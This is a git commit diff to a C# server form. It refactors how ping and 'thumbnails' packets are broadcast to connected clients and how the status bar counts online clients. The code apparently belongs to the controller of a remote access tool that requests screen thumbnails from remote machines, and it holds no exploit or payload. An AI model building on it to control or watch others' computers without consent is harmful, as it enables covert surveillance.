Update Form1.cs
This commit is contained in:
parent
52f6944dfc
commit
f8764af03b
@ -243,9 +243,8 @@ namespace Server
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
foreach (Clients client in GetAllClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
GC.Collect();
|
||||
@ -255,27 +254,23 @@ namespace Server
|
||||
private void UpdateUI_Tick(object sender, EventArgs e)
|
||||
{
|
||||
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
|
||||
lock (Settings.LockListviewClients)
|
||||
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
|
||||
}
|
||||
|
||||
private void GetThumbnails_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
foreach (Clients client in GetAllClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user